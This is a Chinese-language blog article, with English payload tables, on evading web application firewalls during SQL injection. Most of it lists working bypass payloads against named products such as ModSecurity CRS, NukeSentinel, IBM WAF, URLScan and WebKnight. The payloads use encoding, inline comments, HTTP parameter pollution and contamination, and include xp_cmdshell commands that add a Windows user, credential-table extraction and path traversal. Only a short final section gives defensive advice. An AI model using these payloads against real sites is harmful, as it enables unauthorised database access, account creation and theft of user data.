繞過WAF的SQL注入語句

0x00前言

 現在的網絡環境往往是WAF/IPS/IDS保護着Web 服務器等等,這種保護措施往往會過濾擋住我們的SQL注入查詢鏈接,甚至封鎖我們的主機IP,所以這個時候,我們就要考慮怎樣進行繞過,達到注入的目標。因爲現在WAF/IPS/IDS都把sqlmap 列入黑名單了,呵呵!但是本文基於手工進行繞過注入測試,介紹至今仍然實用有效的技巧,以下策略在特定的環境能夠成功繞過,具體是否繞過,請仔細查看輸出的信息。

0x01 確認WAF

       首先我們判斷該Web 服務器是否被WAF/IPS/IDS保護着。這點很容易實現,因爲當我們使用惡意的注入語句時,往往有WAF或者安全狗提示信息,所以我們可以執行注入語句後觀察頁面變化的差異性。

0x02 繞過功能和關鍵字過濾

Keyword filer: and, or

                ----------------------------------------------------------------------

PHP filter code:preg_match('/(and|or)/i', $id)
Filtered injection:1 or 1 = 11 and 1 = 1
Bypassed injection:1 || 1 = 11 && 1 = 1
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------Keyword filer: and, or, union
PHP filter code:preg_match('/(and|or|union)/i', $id)
Filtered injection:union select user, password from users
Bypassed injection:1 || (select user from users where user_id = 1) = 'admin'
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where)/i', $id)
Filtered injection:1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection:1 || (select user from users limit 1) = 'admin'
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection:1 || (select user from users limit 1) = 'admin'
Bypassed injection:1 || (select user from users group by user_id having user_id = 1) = 'admin'
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection:1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection:1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection:1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:1 || 1 = 1 into outfile 'result.txt'
Bypassed injection:1 || substr(user,1,1) = 'a'
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, '
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection:1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection:1 || user_id is not null
Bypassed injection:1 || substr(user,1,1) = 0x61
Bypassed injection:1 || substr(user,1,1) = unhex(61)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection:1 || substr(user,1,1) = unhex(61)
Bypassed injection:1 || substr(user,1,1) = lower(conv(11,10,36))
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection:1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection:1 || lpad(user,7,1)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space
----------------------------------------------------------------------
PHP filter code:preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection:1 || lpad(user,7,1)
Bypassed injection:1%0b||%0blpad(user,7,1)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0x03 繞過表達式匹配

    PHPIDS 能夠阻擋一些字符注入,例如 1 or 1=1, 1 or '1', 1 or char(97),但是我們只要不使用這些字符,使用另外的字符便可以進行繞過
filtered injection:      1 or 1 = 1
Bypassed injection:          1 or 1
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
filtered injection:1 union select 1, table_name from information_schema.tables where table_name = 'users'
filtered injection:1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
filtered injection:1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
Bypassed injection:1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
Bypassed Injection:1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0x04 常規繞過

1. Bypass with Comments
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2. Case Changing
       Regex Filter: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3. Replaced keywords
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

                For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".
Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Character encoding
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users-

Moreover, these techniques can combine to bypass Citrix Netscaler
- Remove all "NULL" words
- Use query encoding in some parts
- Remove the single quote character "'"
- And Have fun !!
Credit: Wendel Guglielmetti Henrique
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
#實際使用示例:

1. NukeSentinel (Nuke Evolution)

[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
 if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
  die("BLOCK IP 1 " );
 }
}


We can bypass their filtering with these script:

Forbidden: http://victim.com/php-nuke/?/**/union/**/select…..
Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2. Mod Security CRS (Credit: Johannes Dahse)

[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

We can bypass their filtering with this code:
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3   MySQL Server supports 3 comment styles:
- From a "#" character to the end of the line
- From a "--" sequence to the end of the line
- From a /* sequence to the following */ sequence, as in the C programming language.
 This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
 not be on the same line.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
The resulting SQL payload looked something like this:
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user

However the SQL payload, when executed by the MySQL DB, looked something like this:
0 div 1 union select 1,2,current_user
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Buffer Overflow
WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
Give a large amount of data allows our code executing

[Code]------------------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 5. Inline Comments (Mysql Only)
From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
code that includes MySQL extensions, but is still portable, by using comments of the following form:

/*! MySQL-specific code */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
but other SQL servers will ignore the extensions.

A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
add more inline comments
http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0x05 高級繞過

1 HTTP參數污染
HTTP參數污染 (示例)
+------------------------------------------------------------------+
| Web Server  | Parameter Interpretation| Example  |
+------------------------------------------------------------------+
| ASP.NET/IIS | Concatenation by comma| par1=val1,val2  |
| ASP/IIS | Concatenation by comma| par1=val1,val2  |
| PHP/Apache | The last param is resulting  | par1=val2  |
| JSP/Tomcat | The first param is resulting | par1=val1  |
| Perl/Apache | The first param is resulting | par1=val1  |
| DBMan | Concatenation by two tildes  | par1=val1~~val2 |
+------------------------------------------------------------------+
#實際使用示例:
 1. Mod Security CRS (Credit: Lavakumar Kuppan)

The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.

Forbidden: http://victim.com/search.aspx?q=select name,password from users

When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.
Bypassed : http://victim.com/search.aspx?q=select name&q=password from users

Let's see what's happen, ModSecurity's interpretation is

q=select name
q=password from users


ASP/ASP.NET's interpretation is
q=select name,password from users


*Tip: This attack can be carried out on a POST variable in a similar way
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2. Commercial WAFs

Forbidden: http://victim.com/search.aspx?q=select name,password from users
Now we use HPP+Inline comment to bypass it.
Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users
Analyzing, WAF's interpretation is


q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users

ASP/ASP.NET's interpretation is
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)
Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” --
Now we use HPP+Inline comment to bypass it.
Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --

Analyzing, WAF's interpretation is
id=1’; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ “net user zeq3ul UrWaFisShiT” /*
id=1*/ --

ASP/ASP.NET's interpretation is
id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ --
id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
HTTP參數包含
HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
parameter contamination with reserved or non expects characters. 

Some facts:
     - The term Query String is commonly used to refer to the part between the  "?" and the end of the URI
- As defined in the RFC 3986, it is a series of field-value pairs
- Pairs are separated by "&" or ";"
- RFC 2396 defines two classes of characters:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved  : ; / ? : @ & = + $ ,
Unwise    : { } | \ ^ [ ] ` 


Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,but we will stop here this time.
Query string and Web server response (Example)

+-----------------------------------------------------------+
| Query String |    Web Servers response / GET values    |
+-----------------------------------------------------------+
 | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP   |
+-----------------------------------------------------------+
| ?test[1=2 | test_1=2    | test[1=2   |
| ?test=%   | test=%    | test=   |
| ?test%00=1 | test=1          | test=1   |
| ?test=1%001 | NULL    | test=1   |
| ?test+d=1+2 | test_d=1 2    | test d=1 2   |
+-----------------------------------------------------------+

Magic character "%" affect to ASP/ASP.NET
+--------------------------------------------------------------------+
Keywords     |        WAF    |  ASP/ASP.NET     |
+--------------------------------------------------------------------+
| sele%ct * fr%om..  | sele%ct * fr%om..  | select * from..  |
| ;dr%op ta%ble xxx  | ;dr%op ta%ble xxx | ;drop table xxx  |
| <scr%ipt>    | <scr%ipt> | <script>    |
| <if%rame>    | <if%rame> | <iframe>         |
+--------------------------------------------------------------------+

#實際使用示例:

1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf) 
[Filtered]----------------------------------------------------------------------------------
[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" 
at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] 
[rev "2.2.0"] [msg "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] 
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]


Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2. Bypass URLScan 3.1 DenyQueryStringSequences rule

Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)
Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
From this situation, Webknight use SQL keywords filtering when we use "HTTP contamination" by insert "%" into SQL keywords WAF is bypassed and sending these,command to Web server: "id=10 and 1=0/(select top 1 table_name from information_schema.tables)" because "%" is cutter in web server.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

0x06 如何保護自己的網站

執行軟件生命週期(SDLC)
安全編碼:驗證所有輸入輸出
上線前的滲透測試
加固由滲透發現的問題
再次滲透測試
部署WAF(可選)
保持檢查WAF補丁
#WAF並不是必選的,畢竟它是有一定限制的,同時它也不能使Web 應用遠離所有可能的漏洞,並且很有必要調整WAF過濾器以符合待保護的Web應用。WAF並不能消除漏洞,它僅僅是擋住了一部分攻擊向量。
1
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章